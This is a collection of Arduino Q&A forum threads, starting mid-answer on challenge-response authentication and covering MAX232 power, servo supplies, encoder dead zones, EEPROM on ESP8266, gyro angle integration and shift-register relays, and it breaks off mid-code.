The "receiver" then does the same operation with the data it expects the "sender" should send, and compares it with what it received.

If they match, then the "receiver" can allow communication from that "client". The "receiver" would then send a new session key to the "sender" which would then be used to encrypt all communication thereafter. That key must be different to the first, and would need to use symmetric encryption.

This all means that:

* The authentication key changes every time - there is no chance of "replaying" it
* The communication key changes with each session, so again there is no chance of replaying messages at a later data, since the key will be wrong.

Yes, there are a lot of overheads with this method, but it's secure.

The authentication methodology is basically the [Challenge Handshake Authentication Protocol](https://en.wikipedia.org/wiki/Challenge-Handshake_Authentication_Protocol) (server sends challenge, client responds with credentials along with challenge, trapdoor encrypted, server compares with its own encryption and allows or denies).  The rest is basic encryption of your choosing using the unique key the remote end of the connection provides.


body:
I have connected a MAX232 chip for RS232 communication with my Arduino.
The chip input is connected to Arduino Tx and it is getting power from external 3.3 volt dc power source.

My Arduino is also getting power from 12 volt DC external power source.

While I connect and start the device, the PC is not getting any data until I reboot the MAX232.

How do I make a robust setup so that after I turn the powers on, it starts transmitting. Even if connection to my PC has been lost.

title: MAX232 chip fails to initialize properly with arduino

Answers: 1

body:
[Datasheet for MAX232][1]

> Section 7.3 Recommended Operating Conditions VCC Supply voltage
>
> MIN=4.5, NOM=5, MAX=5.5 (V)

The MAX232 has a minimum supply voltage of 4.5V, typically expecting 5V.

There are other alternatives, such as the [MAX3232][2], which supports either 3.3V or 5V supply voltage.

  [1]: http://www.ti.com/lit/ds/symlink/max232.pdf
  [2]: http://www.ti.com/lit/ds/symlink/max3232.pdf


body:
Im connecting a servo to my Arduino Uno Rev.3. The general recommendation is to put a 7V -12V power supply for servos as far as I understand. However I’d like to combine it with an USB to a computer since I use it to flush data from a different probe on the Arduino to my PC.

- Will it be safe to use both a AC/DC adapter and serial bus?
- Will it use the USB for power draw even if adapter is connected?

title: 7-12V Power supply + USB

Answers: 1

body:
You will see that the Servos have 3 wires [GND, Power, and Data/Signal]. You can connect your external power supply to GND and Power of the servos, and connect the GND and Signal wires from the Servos to the Arduino.

By connecting the Grounds of the Arduino and Servos together, they share the same 0V reference and you will not damage either by powering the Servos from a higher voltage and the Arduino from USB.

It is not necessary to connect the Arduino Vin or barrel jack to the external power supply. Look at the Servos+power supply as one independent unit, and the Arduino+USB/Computer as a separate independent unit, and the only things connected between them should be GND and the servo signal/data wire.


body:
I'm trying to implement a steering mechanism for a segway project.
The idea is to sense the tilt of the segway's handlebar with an incremental rotary encoder (omron e6j-cwz 600ppr). This way when I turn the bar to the left or right the segway turns too.
I'm using a Teensy 3.2 with the arduino IDE.

To drive the motors I use PWM.
The pulse limits are the calibrated values for +/- 100% (+/- 24V) input. The pulse range is 1.0 to 2.0ms, with 1.5ms as the zero value.

Here is a picture of the turning mechanism.

[![Encoder handlebar coupling][1]][1]

The problem is that, the movement of the handle bar is not very smooth and sometimes after tilting the handlebar and returning it to the straight position, the count never really goes back to 0, but some value around -6 to 6 counts and sometimes even -15 to 15 counts.
So the segway tries to turn even though the bar is straight.

The code I'm using to sense the tilt and set the motors is:

    //Turn encoder
    #define c_TurnEncoderPinA 15
    #define c_TurnEncoderPinB 14
    #define TurnEncoderIsReversed
    volatile bool _TurnEncoderBSet;
    volatile int _TurnEncoderTicks = 0;
    /** Turn position */
    int TurnAngular = 0;

    /** Proportional gain */
    int kp = 55;

    /** voltage to the motor*/
    float vol = 0;
    float aux;
    /** calulated pwm pulse*/
    float uy = 0;

    /**Left motor control*/
    int motorL=9;
    /**Right motor control*/
    int motorR=10;

    //Mapping voltage to pwm (Mc 160 controller)
    float  p1 = -25.44, p2 = 0.1894, p3 = 146.6, p4 = -0.2874, p5 =  -480, p6 =  1500; //pwm3

    //Discrete time values
    const int samplingTime = 1000*10; // 10000 microseconds = 10ms
    unsigned long previousTime, currentTime, timeDifference;
    int estimationTimeCount = 1;

    void setup() {
      delay(3000);
      Serial.begin(115200);
      delay(2000);
      previousTime = micros();
      // Turn encoder
      pinMode(c_TurnEncoderPinA, INPUT_PULLUP);      // sets pin A as input
      pinMode(c_TurnEncoderPinB, INPUT_PULLUP);      // sets pin B as input
      attachInterrupt(digitalPinToInterrupt(c_TurnEncoderPinA), HandleTurnMotorInterruptA, RISING);

      /*Initiate Output*/
      analogWriteResolution(11);
      pinMode(motorR,OUTPUT);
      pinMode(motorL,OUTPUT);
      analogWrite(motorR, 1500);
      analogWrite(motorL, 1500);

    Serial.println("Start...");
    }

    void loop() {
      currentTime = micros();
      timeDifference = currentTime - previousTime;
      if (timeDifference > samplingTime)
      {
        previousTime = currentTime;
        sampleEncoders();
        setMotors();
        printData();
        estimationTimeCount++;
      }
    }

    void sampleEncoders() {
      TurnAngular = _TurnEncoderTicks; //update encoder reading every 10ms.
    }

    float turn(){
      if(TurnAngular<=6 && TurnAngular>=-6)
      {
        return 0;
      }
      else
      {
       //the voltage is calculated with a proportional gain
       //times the angle of the encoder in radians.
        return (kp*TurnAngular*(2*pi/(pprT)));
      }
    }

    void setMotors() {
        vol = turn();

        // this two lines map the calculated voltage to the pwm
        // in a range of 1000 to 2000.
        aux = (vol+0.01143)/13.13;
        uy = (int) p1*pow(aux,5) + p2*pow(aux,4) + p3*pow(aux,3) + p4*pow(aux,2) + p5*(aux) + p6;
        uy = constrain(uy, 1000,  2000);

        // this is just and idea I had to counter the problem.
        // if the control is within +/-50 pulses from 1500
        // set the pulse to 1500, and the last saved value of the count to 0.
        // every 2.5 sec if the condition in met, then also reset the actual
        // count of the encoder
        if (uy < 1550 && uy > 1450)
        {
          uy = 1500;
          TurnAngular = 0;
          if ( estimationTimeCount%0 == 0 && _TurnEncoderTicks != 0)
          {
            _TurnEncoderTicks = 0;
          }
        }
      }

      /**
     Left wheel (L): forward from 1500 to 1000, backward from 1500 to 2000.
     Right wheel (R): forward from 1500 to 2000, backward from 1500 to 1000.
      **/
     //set uy to each wheel to make the segway turn.
      analogWrite(motorR,uy);
      analogWrite(motorL,uy);
    }

    void printOutput()
    {
      Serial.print("tout(");
      Serial.print(estimationTimeCount);
      Serial.print(", :) = [");
      Serial.print(TurnAngular);
      Serial.print(", ");
      Serial.print(_TurnEncoderTicks);
      Serial.print(", ");
      Serial.print(currentTime*pow(10,-6));
      Serial.println("];");
    }

    void HandleTurnMotorInterruptA()
    {
      // Test transition; since the interrupt will only fire on 'rising' we don't need to read pin A
      _TurnEncoderBSet = digitalRead(c_TurnEncoderPinB);   // read the input pin
      // and adjust counter + if A leads B
      #ifdef TurnEncoderIsReversed
        _TurnEncoderTicks -= _TurnEncoderBSet ? -1 : +1;
      #else
        _TurnEncoderTicks += _TurnEncoderBSet ? -1 : +1;
      #endif
    }

The original code for the encoder count can be found [here][2].

In the code I put one of my own but it fails sometimes, I set a 0 voltage to the motors is the count is between +/- 6 counts.
A secondary issue is that when the bar tilt's to for example +7 counts the control is to aggressive, so I keep trying to find an ideal proportional gain.

Lastly I did not add the code for the balance action of the segway, mainly because it is not the issue and the control effort is just set to 0 while I try to fix the problem. Also, it would be too long.

What kind of solution would you guys think of?

I've edited the turn function like this:

    float turn(){
    int8_t TurnVal = 0;
      //deadZoneSize = 6
      if(TurnAngular <= deadZoneSize && TurnAngular >= -deadZoneSize)
      {
        return 0;
      }
      else
      {
        if (TurnAngular<0)
        {
          TurnVal = TurnAngular + deadZoneSize;
        }
        else
        {
          TurnVal = TurnAngular - deadZoneSize;
        }
        Serial.println(TurnVal);
        return (kp*TurnVal*(2*pi/(float)(pprT)));
      }

I can't find a way to fix the error between the actual straight position and the measured straight position (0 count). Sometimes after some movement of the bar, the actual straight position lies outside the dead zone, and the segway wants to turn anyways.

Here is an illustration.

[![enter image description here][3]][3]

  [1]: https://i.stack.imgur.com/PPmXR.jpg
  [2]: http://www.hessmer.org/blog/2011/01/30/quadrature-encoder-too-fast-for-arduino-with-solution/
  [3]: https://i.stack.imgur.com/BEZkE.jpg

title: Problem with encoder count on a segway handlebar

Answers: 1

body:
What you have come up with on your own is almost what is called a "dead zone", where the angle between -6 and 6 is ignored.

All you need to do now is not reference the actual angle when computing how much to turn, but to reference the distance from the edge of the dead zone:

    const uint16_t deadZoneSize = 6;
    [...]

    float turn(){
      unint8_t TurnVal = 0;
      if(TurnAngular<=deadZoneSize && TurnAngular>=-deadZoneSize)
      {
        return 0;
      }
      else
      {
       //the voltage is calculated with a proportional gain
       //times the angle of the encoder in radians.
        if (TurnAngular<0) {
          TurnVal = TurnAngular + deadZoneSize)
        } else {
          TurnVal = TurnAngular - deadZoneSize)
        }
        return (kp*TurnVal*(2*pi/(pprT)));
      }
    }


body:
The Arduino project has done an excellent job in providing a portable software interface to a number of different hardware systems.

Are there any Arduino-compatible systems which are especially applicable for very low power battery-based operation?  Specifically, in an application where a device wakes up periodically (e.g. for data collection) or activated by a user button press?

title: Are any Arduino boards especially suited for low-power operation?

Answers: 1

body:
Technically you can use any arduino for that purpose with some modifications. I recommend to go with an arduino Pro Mini and remove the LED and the voltage regulator. [![enter image description here][1]][1]
But if you don't need so much I/O you can go with a digispark Attiny board.
[![enter image description here][2]][2]

  [1]: https://i.stack.imgur.com/UV3W7.jpg
  [2]: https://i.stack.imgur.com/ZLLNb.jpg


body:
So  for my arduino project I need to split this line of servos data

    180 0 0 0 90 90 0

 Which would be parsed as:

    servo position1 servo positin2 servo positin3 ...servo position 6

in to separate servo values, but i am new at arduino and c typе languges so a little bit help will be very good. So my question is how can I split these values up?

title: How can i split an incoming data in arduino?

Answers: 1

body:
Scanning string formatted data can be done with `sscanf` ([docs](http://www.cplusplus.com/reference/cstdio/sscanf/)). It takes format strings just like `printf()` does, but instead of printing formatted data, it parses formatted data into the given variables.

For example,

<!-- language: lang-cpp -->

    String input = "180 0 0 0 90 90 0";
    //parse input (6 integers)
    int servoPositions[6];
    int numScanned = sscanf (input.c_str(),"%d %d %d %d %d %d",
     &servoPositions[0], &servoPositions[1],&servoPositions[2],
     &servoPositions[3], &servoPositions[4],&servoPositions[5]);

    //print positions again
    Serial.println("Parsed servo positions:");

    for(int i=0; i < 6; i++) {
     Serial.print("position ");
     Serial.print(i);
     Serial.print(": ");
     Serial.println(servoPositions[i]);
    }

Outputs

    Parsed servo positions:
    position 0: 180
    position 1: 0
    position 2: 0
    position 3: 0
    position 4: 90
    position 5: 90


body:
Hey all I have the following code in my Arduino IDE:

    #include <EEPROM.h>
    #include <ArduinoJson.h>

    bool debuggin         = true;
    int brightness        = 255;
    int ambientLight      = 30;
    struct RGBLA {
      uint8_t R;
      uint8_t G;
      uint8_t B;
      uint8_t L;
      uint8_t A;
    };

    void setup() {
      Serial.begin(9600);

      while (!Serial) {
        ; // wait for serial port to connect. Needed for Leonardo only
      }

      EEPROM.begin(512);
      readSavedSettings();
      updateEEProm(255,255,255,200,35,true,false);
    }

    RGBLA readEEProm() {
      int addr = 0;
      RGBLA customVars;

      EEPROM.get(addr, customVars);
      return customVars;
    }

    void readSavedSettings() {
      RGBLA returnedVars = readEEProm();
      if (debuggin) { Serial.println("START readSavedSettings"); }

      if (returnedVars.A == 00 || returnedVars.A == 0) {
        if (debuggin) { Serial.println("'A' not found! Default 30"); }
      } else {
        ambientLight = returnedVars.A;
        if (debuggin) {
          Serial.print("'A' found! ");
          Serial.println(ambientLight);
        }
      }

      for(uint8_t i = 0; i < 3/*strip.numPixels()*/; i++) {
        if (debuggin) {
          Serial.print("LED ");
          Serial.print(i);
          Serial.print(" set to: R: ");
          Serial.print((uint8_t)returnedVars.R);
          Serial.print(", G: ");
          Serial.print((uint8_t)returnedVars.G);
          Serial.print(", B: ");
          Serial.println((uint8_t)returnedVars.B);
        }
      }

      if (debuggin) {
        Serial.println("Turned off RGB LEDS");
        Serial.println("END readSavedSettings");
      }
    }

    void updateEEProm(uint8_t R,
                      uint8_t G,
                      uint8_t B,
                      uint8_t L,
                      uint8_t A,
                      bool saveRGBL,
                      bool saveA) {
      int addr = 0;
      RGBLA customVars;

      //Save old json before clearing EEProm
      EEPROM.get(addr, customVars);

      //Clear EEProm
      for (unsigned int i = 0; i < EEPROM.length(); i++) {
        EEPROM.write(i, 0);
      }

      if (saveRGBL) {
        //Get A value so that we can save it the same value
        DynamicJsonBuffer jsonBuffer(JSON_OBJECT_SIZE(5));
        JsonObject& root = jsonBuffer.createObject();

        if (debuggin) {
          Serial.print("Old JSON:");
          Serial.print(" R: ");
          Serial.print((uint8_t)customVars.R);
          Serial.print(" G: ");
          Serial.print((uint8_t)customVars.G);
          Serial.print(" B: ");
          Serial.print((uint8_t)customVars.B);
          Serial.print(" L: ");
          Serial.print((uint8_t)customVars.L);
          Serial.print(" A: ");
          Serial.println((uint8_t)customVars.A);
        }

        root["R"] = (uint8_t)R;
        root["G"] = (uint8_t)G;
        root["B"] = (uint8_t)B;
        root["L"] = (uint8_t)L;
        root["A"] = (uint8_t)customVars.A;

        if (debuggin) {
          Serial.print("New JSON:");
          Serial.print(" R: ");
          Serial.print((uint8_t)root["R"]);
          Serial.print(" G: ");
          Serial.print((uint8_t)root["G"]);
          Serial.print(" B: ");
          Serial.print((uint8_t)root["B"]);
          Serial.print(" L: ");
          Serial.print((uint8_t)root["L"]);
          Serial.print(" A: ");
          Serial.println((uint8_t)root["A"]);
        }

        EEPROM.put(addr, root);
      }

      if (saveA) {
        //Get R,G,B,L values so that we can save it the same value
        DynamicJsonBuffer jsonBuffer(JSON_OBJECT_SIZE(5));
        JsonObject& root = jsonBuffer.createObject();

        if (debuggin) {
          Serial.print("Old JSON:");
          Serial.print(" R: ");
          Serial.print((uint8_t)customVars.R);
          Serial.print(" G: ");
          Serial.print((uint8_t)customVars.G);
          Serial.print(" B: ");
          Serial.print((uint8_t)customVars.B);
          Serial.print(" L: ");
          Serial.print((uint8_t)customVars.L);
          Serial.print(" A: ");
          Serial.println((uint8_t)customVars.A);
        }

        root["R"] = (uint8_t)customVars.R;
        root["G"] = (uint8_t)customVars.G;
        root["B"] = (uint8_t)customVars.B;
        root["L"] = (uint8_t)customVars.L;
        root["A"] = (uint8_t)A;

        if (debuggin) {
          Serial.print("New JSON:");
          Serial.print(" R: ");
          Serial.print((uint8_t)root["R"]);
          Serial.print(" G: ");
          Serial.print((uint8_t)root["G"]);
          Serial.print(" B: ");
          Serial.print((uint8_t)root["B"]);
          Serial.print(" L: ");
          Serial.print((uint8_t)root["L"]);
          Serial.print(" A: ");
          Serial.println((uint8_t)root["A"]);
        }

        EEPROM.put(addr, root);
      }
    }

    void loop() {
    }

And this is the output of that code:

    START readSavedSettings
    'A' found! 96
    LED 0 set to: R: 48, G: 255, B: 255
    LED 1 set to: R: 48, G: 255, B: 255
    LED 2 set to: R: 48, G: 255, B: 255
    Turned off RGB LEDS
    END readSavedSettings
    Old JSON: R: 48   G: 255 B: 255 L: 63   A: 96
    New JSON: R: 255  G: 255 B: 255 L: 200  A: 96
    Old JSON: R: 48   G: 255 B: 255 L: 63   A: 160
    New JSON: R: 48   G: 255 B: 255 L: 63   A: 35

Now when I reset it this is the output:

    ⸮dOX⸮,R⸮X⸮4xC⸮⸮⸮START readSavedSettings
    'A' found! 96
    LED 0 set to: R: 48, G: 255, B: 255
    LED 1 set to: R: 48, G: 255, B: 255
    LED 2 set to: R: 48, G: 255, B: 255
    Turned off RGB LEDS
    END readSavedSettings
    Old JSON: R: 48   G: 255 B: 255 L: 63   A: 96
    New JSON: R: 255  G: 255 B: 255 L: 200  A: 96
    Old JSON: R: 48   G: 255 B: 255 L: 63   A: 160
    New JSON: R: 48   G: 255 B: 255 L: 63   A: 35

How come the **Old JSON** has the **'L'** value as **63** again when it should be the **New JSON** value of **200**? Why did it not save it but saved all the others? Also, Why is **'R' 48** when it should be **255** like **G** and **B**?

Is there something wrong in my code?

**Update 1**

This is the output after adding .end() to it:

    START readSavedSettings
    'A' found! 160
    LED 0 set to: R: 48, G: 255, B: 255
    LED 1 set to: R: 48, G: 255, B: 255
    LED 2 set to: R: 48, G: 255, B: 255
    Turned off RGB LEDS
    END readSavedSettings
    Old JSON: R: 48   G: 255  B: 255  L: 63 A: 160
    New JSON: R: 255  G: 255  B: 255  L: 200 A: 160
    Old JSON: R: 128  G: 12   B: 17   L: 17 A: 60
    New JSON: R: 128  G: 12   B: 17   L: 17 A: 35

and the code i use:

    void setup() {
      // initialize serial and wait for port to open:
      Serial.begin(9600);
      while (!Serial) {
        ; // wait for serial port to connect. Needed for Leonardo only
      }

      EEPROM.begin(512);
      readSavedSettings();
      updateEEProm(255,255,255,200,35,true,false); //Save all but 'A' value
      EEPROM.end();
      updateEEProm(255,255,255,200,35,false,true); //Save just 'A' value
      EEPROM.end();
    }

title: Wemos D1 EEProm put/get not getting correct value

Answers: 1

body:
The esp8266 EEPROM emulation library requires a commit() call to save the memory image of EEPROM to flash.

Add `EEPROM.commit();` or `EEPROM.end();` as last line in your `updateEEProm()` function. [Documentation link][1]:

Second problem is that you don't write the RGBLA struct to EEPROM, instead you try to write the variable `root`, which is an instance of class JsonObject. Class types can't be put into EEPROM.

  [1]: https://arduino-esp8266.readthedocs.io/en/latest/libraries.html#eeprom


body:
I'm trying to power my Arduino Uno using a basic power bank (5V/2.1A Output), the Uno lights up for around 20 secs. and then stops taking power from the bank. What can be the issue? Am I making a huge mistake here?
Further details:
1. The power bank has a LED that lights up during the charging process, it doesn't light up when I connect jt to Arduino though (but powers the Arduino for a short span, after which the Arduino goes off)
2. The power bank is 10,000 mAh, 5V/2.1 Amps, charges my cell phone normally.

Edit: As requested, adding a photo of the whole setup.![enter image description here](https://i.stack.imgur.com/oS3p7.jpg)

title: Arduino not working on cell phone power bank

Answers: 0


body:
hi i have done this code for my uno R3 and i cant upload it
any suggestions

    #include"DHT.h"
    #define DHTPIN 8
    #define DHTTYPE DHT11
    DHT dht( DHTPIN,DHTTYPE);
    const int ledPin=13
    int piesoPin=9
    void setup(){
      serial.begin(9600);
      pinMode(ledPin,OUTPUT);
      pinMode(piezoPin,OUTPUT);
      delay(5000);
    }
    void loop(){
      int t=dht.readTemperature();
      int h=dht.readHumidity();
      Serial.print(t);
      if(t>26){
        digitalWrite(ledPin,HIGH);
        digitalWrite(piezopin,HIGH);
        {TONE(9,3047,400);
        delay(1000);
        noTone(8);
        delay(100);
        }
        delay(1000);
        Serial.print("ON T=");
      }
      else(digitalWrite(piezoPin,LOW);
      digitalWrite(LEDpIN,LOW);
      Serial.print("OFF,T=");
      }}

title: compilation terminated. exit status 1 error compiling for board arduino/genuino uno

Answers: 1

body:
Two errors I see is a typo and missing semicolons.

    const int ledPin=13
    int piesoPin=9

Should be

    const int ledPin=13;
    int piezoPin=9;

Also I see a unnecessary { and } but this cannot cause a compilation error.

Check the delays, when the temperature is higher than 26 degrees you have more delay than when not, maybe this is intended, maybe not.

However, you probably typed over the code, so maybe there are more errors, please add the exact error text and line in your question.


body:
I have an arduino Uno with a motor shield attached I would like to drive 2 12 volt dc motors. Can I just attach a 12 volt power supply to the arduino Uno?

I ask because if I can attach a 12 volt power supply to the uno, I would like to also try and drive some leds from the Uno as well. I remember that the VIN jumper needs to be connected if connecting a power supply through the Arduino uno. There is also a pin labeled VIN.

If I can connect a 12 volt power supply to the arduino uno, can I power the leds from the vin pin.

[![enter image description here][1]][1]

  [1]: https://i.stack.imgur.com/FEGD6.jpg

title: Arduino uno, VIN and 12 volts

Answers: 2

body:
Possibly. It depends exactly *what* it is you want to drive.

When you connect 12V to the barrel jack you get about 11.3V out of the VIN pin. This is because there is a diode in series with the barrel jack to protect against reverse polarity connections. This loses some voltage (could be as much as 0.7V).

Also that diode is rated at 1A maximum. So you can't drive anything that would need more than 1A (including the current needed by the Arduino and shield components).

body: That depends on the motor shield - for some motor shields you have to cut a circuit path (or unset a jumper) to separate the power for the motors from arduino's power!


body:
I am trying to use the values of an array in some other function, but when I return via a function the contents is wrong.

This is the external function file I'm trying to use

    #include "Arrayreturner.h"

    Arrayreturner::Arrayreturner() { }

    void Arrayreturner::setResults(int* res, int size) {
     int temp[size];

     for(int i=0;i<size;i++) {
      temp[i] = res[i];
     }

     results = temp;

    }

    int* Arrayreturner::getResults() {
      return results;
    }

This is the header file

    #ifndef ARRAYRETURNER_H
    #define ARRAYRETURNER_H

    #include <Arduino.h>
    #include <Wire.h>

    class Arrayreturner {
    public: // some public definitions first

     Arrayreturner();

    void setResults(int* res, int size);
    int* getResults();
    int* results;

    };

    #endif

And here is the main program

    #include <Arduino.h>
    #include "Arrayreturner.h"

    Arrayreturner data;

    void setup() {
     Serial.begin(9600);

    }

    int* returnArray(int arr[]) {
     // int arr[] = { 3, 5, 6, 7, 9 };
     int *p = arr;

     // Serial.print("rA: ");
     // for(int i=0;i<5;i++) {
     //   Serial.print(p[i]); Serial.print(" ");
     // } Serial.println("");
     return p;
    }

    Arrayreturner testfunc() {
     Arrayreturner data;
     int arr[] = { 2,4,6,8,10};

     data.setResults(arr, 5);

     return data;
    }

    void loop() {

      int arr[] = { 3, 5, 6, 7, 9 };
      // int *p = arr;
      // int (*ptr)[5] = &arr;

     // Serial.print("p: ");
     // for(int i=0;i<5;i++) {
     //   Serial.print(p[i]); Serial.print(" ");
     // } Serial.println("");

     // int* p1;
     // p1 = returnArray(arr);
     // Serial.print("p1: ");
     // for(int i=0;i<5;i++) {
     //   Serial.print(p1[i]); Serial.print(" ");
     // } Serial.println("");

     // data.setResults(arr, 5);

     // int* res = data.getResults();
     //
     // Serial.print("res: ");
     // for(int i=0;i<5;i++) {
     //   Serial.print(res[i]); Serial.print(" ");
     // } Serial.println(" ");

     Arrayreturner ar = testfunc();
     int* res = ar.getResults();
     Serial.print("res: ");
     for(int i=0;i<5;i++) {
       Serial.print(res[i]); Serial.print(" ");
     } Serial.println(" ");

     Serial.println("--------------");

      delay(2000);
}

There is probably something wrong with the pointer declaration, but I cant figure it out.

Thanks for the help

title: passing arrays via function returns wrong values

Answers: 2

body: Your arrays are declared locally to the functions. You cannot return local arrays from a function - as soon as you return the arrays no longer exist.

body:
This is a C language question. You copy a local array created on the stack of the testfunc() to other array created on the stack of Arrayreturner::setResults(). Then you store a pointer of the second array into  member variable results. But that pointer is not valid when the function setResults() returns and the array on the stack is destroyed.

Normal way is to create an array, pass it as parameter to the function and let the function fill it.


body:
I have Arduino mega2560 and MPU6050.

I connected to Vcc pin of the gyro to +5V on the mega, the SDA to SDA pin, SDL to SDL pin, AD0 and GND to 2 GND pins.

[I used this code:][1]

    #include<Wire.h>

    const int MPU=0x68; //I2C address of MPU
    int GyX,GyY,GyZ;
    float pitch=0;
    float roll=0;
    float yaw=0;

    float v_pitch;
    float v_roll;
    float v_yaw;
    float a_pitch;
    float a_roll;
    float a_yaw;

    void setup(){
      Wire.begin();
      Wire.beginTransmission(MPU);
      Wire.write(0x6B); //power management register 1
      Wire.write(0);
      Wire.endTransmission(true);
      Serial.begin(9600);
    }

    void loop() {
      Wire.beginTransmission(MPU);
      Wire.write(0x43);
      Wire.endTransmission(false);
      Wire.requestFrom(MPU,6,true);
      GyX=Wire.read()<<8|Wire.read();
      GyY=Wire.read()<<8|Wire.read();
      GyZ=Wire.read()<<8|Wire.read();
      v_pitch=(GyX/131);
      if(v_pitch==-1) {
        v_pitch=0;
      }
      v_roll=(GyY/131);
      if(v_roll==1) {
        v_roll=0;
      }
      v_yaw=GyZ/131;
      a_pitch=(v_pitch*0.046);
      a_roll=(v_roll*0.046);
      a_yaw=(v_yaw*0.045);
      pitch= pitch + a_pitch; roll= roll + a_roll;
      yaw= yaw + a_yaw;
      Serial.print(" | pitch = ");
      Serial.print(pitch);
      Serial.print(" | roll = ");
      Serial.print(roll);
      Serial.print(" | yaw = ");
      Serial.println(yaw);
    }

But the values I am reading are not angles at all, plus when I move the X axes for 45 degrees, the value is not like that at all.

[![Output][2]][2]

I don't want to use the pre made library as I want to understand how to read from Gyroscope. Any ideas?

  [1]: https://www.circuitstoday.com/interfacing-gyroscope-arduino
  [2]: https://i.stack.imgur.com/hMpMx.png

title: Arduino Mega and gyroscope erroneous values

Answers: 1

body:
It is possible to use your sketch and get angle information. It is not very accurate and it drifts.

I started with your sketch, and improved it until I had the angle.
The `Serial.println` functions take time and they are printed too often. To measure the interval between the samples, I used `millis`.

This test is done with:

 - arduino M0 board (with 3.3v i2c bus)
 - gy-521 module with onboard voltage regulator, but no level shifter
 - vcc of the gy-521 module connected to 5v (because of the voltage regulator)

The arduino M0 is faster than the arduino mega or uno.

    // test with arduino M0 board
    #include <Wire.h>

    #define SER SerialUSB    // 'Serial' for arduino Uno, 'SerialUSB' for Leonardo and Arduino M0

    const int MPU = 0x68;   // I2C address of MPU

    int16_t x_offset = 0;
    int16_t y_offset = 0;
    int16_t z_offset = 0;

    float pitch = 0.0;
    float roll  = 0.0;
    float yaw   = 0.0;

    unsigned long previousMillisSample;
    unsigned long previousMillisOutput;
    const unsigned long intervalOutput = 500;  // half a second update to serial monitor

    void setup() {
      SER.begin(9600);
      while(!SER);         // wait for serial monitor to open for Leonardo and M0
      SER.println("Angle from gyro");

      Wire.begin();

      Wire.beginTransmission(MPU);
      Wire.write(0x6B); //power management register 1
      Wire.write(0);
      Wire.endTransmission();

      // get the values of the gyro and use them as offset
      GetXYZ(x_offset, y_offset, z_offset);
    }

    void loop() {

      int16_t GyX;
      int16_t GyY;
      int16_t GyZ;

      GetXYZ(GyX, GyY, GyZ);

      unsigned long currentMillisSample = millis();  // time in millis when this sample is taken

      // remove offset
      GyX -= x_offset;
      GyY -= y_offset;
      GyZ -= z_offset;

      float v_pitch = float(GyX) / 131.0;    // convert to float and calculate degrees
      float v_roll  = float(GyY) / 131.0;
      float v_yaw   = float(GyZ) / 131.0;

      // calculate time in milliseconds between previous and current sample
      unsigned long t = currentMillisSample - previousMillisSample;

      // time in seconds as a float
      float float_t = float(t) / 1000.0;

      // adjust the number of degrees during the time
      float a_pitch = v_pitch * float_t;
      float a_roll  = v_roll  * float_t;
      float a_yaw   = v_yaw   * float_t;

      // remember the time in millis when the sample was taken for the next time
      previousMillisSample = currentMillisSample;

      pitch += a_pitch;
      roll  += a_roll;
      yaw   += a_yaw;

      // Once in a while, print the output
      if(millis() - previousMillisOutput >= intervalOutput) {
        previousMillisOutput = millis();

        SER.print("pitch = ");
        SER.print(pitch);
        SER.print(" | roll = ");
        SER.print(roll);
        SER.print(" | yaw = ");
        SER.println(yaw);
      }
    }

    void GetXYZ( int16_t &x, int16_t &y, int16_t &z) {
      // Get the gyro values
      Wire.beginTransmission(MPU);
      Wire.write(0x43);     // first register of gyro values
      Wire.endTransmission(false);

      Wire.requestFrom(MPU,6);
      x = Wire.read() << 8 | Wire.read();
      y = Wire.read() << 8 | Wire.read();
      z = Wire.read() << 8 | Wire.read();
    }

Can you try this sketch? It drifts between 10 and 60 degrees per 5 minutes. That is a lot. I think the sensor is better than that, so that means the sketch is far from perfect.


body:
How does one add a random DELAY between 10 and 20 seconds?

For example in the following stepper logic I have a delay of 11 seconds - expressed in milliseconds as: delay(11000).

What would I need to add (or modify) so this is randomized between 10 and 20 seconds?

    //#define IN1  8
    //#define IN2  9
    //#define IN3  10
    //#define IN4  11

    int Steps = 0;
    boolean Direction = true;
    unsigned long last_time;
    unsigned long currentMillis ;
    int steps_left=4095;
    long time;

    void setup()
    {
    Serial.begin(115200);
    pinMode(IN1, OUTPUT);
    pinMode(IN2, OUTPUT);
    pinMode(IN3, OUTPUT);
    pinMode(IN4, OUTPUT);

    }
    void loop()
    {
      while(steps_left>0){
      currentMillis = micros();
      if(currentMillis-last_time>=1000){
      stepper(1);
      time=time+micros()-last_time;
      last_time=micros();
      steps_left--;
      }
      }
       Serial.println(time);
      Serial.println("Wait...!");
      delay(11000);                     // delay timing
      Direction=!Direction;
      steps_left=4095;
    }

Forgive the appearance of the code.  Everytime I post it gets butchered.  Hopefully it's understandable.

title: How to randomize the delay in Arduino Stepper code?

Answers: 1

body:
In `setup()`, add

    randomSeed(analogRead(0));

This reads the value of an analog input pin, which if not connected, will float to relatively random values between 0 and 1023. This "seeds" the random number generator so the pattern of random numbers you will get later doesn't always give the same results each time you start the sketch.

In your `delay()` call, just replace the fixed value with a call to the `random(min, max)` function, as:

    delay(random(10000, 20000));


body:
Its driving me crazy for some couple of days now and i don't get the answer.
I'm busy to setup a irrigation system with a shift register 74HC595 and a 8 channel relay board.
I see a lot of sketches where it looks like you can turn a specific relay on but i dont get the clue.

I like to turn on a specific relay based on a button press.
Is it possible to turn on a specific relay based on the representing button?

Im using the shiftOut option. The code im using now is :

    //#define BLYNK_DEBUG
    #define BLYNK_PRINT Serial

    #include <ArduinoOTA.h>
    #include <ESP8266WiFi.h>
    #include <BlynkSimpleEsp8266.h>
    #include <TimeLib.h>
    #include <WidgetRTC.h>

    #include <ESP_SSD1306.h>    // Modification of Adafruit_SSD1306 for ESP8266 compatibility -> https://github.com/somhi/ESP_SSD1306
    #include <Adafruit_GFX.h>   // Needs a little change in original Adafruit library (See README.txt file) --> https://github.com/adafruit/Adafruit-GFX-Library
    #include <SPI.h>            // For SPI comm (needed for not getting compile error)

    #include "settings_base.h"
    #include "globals.h"
    //#include "functions.h"
    //#include "blynk_writes.h"

    //Pin connected to ST_CP of 74HC595
    const int latchPin = 15; //D8
    //Pin connected to SH_CP of 74HC595
    const int clockPin = 14; //D5
    //Pin connected to DS of 74HC595
    const int dataPin = 13; // D7

    int totalRelays = 2; // Number of relays
    int relayState = 0; // default state = off
    int relayArr[] = {12, 16}; // Pins on the Wemos
    char vbutton1 = V1; char vbutton2 = V2;
    char relayVButtons[] = {V1,V2};
    int zone = 0;
    int relayVButton = 0;
    byte data;
    byte dataArray[10];

    /*
       SETUP
    */
      BLYNK_WRITE(V1)
      {
        // Get the state of the VButton
        relayVButton = param.asInt();
        relayControl(relayVButton, 12, 49); // Test led on Wemos pin
        //int bitToSet = 49;

        Serial.println("V1 pressed");
      }

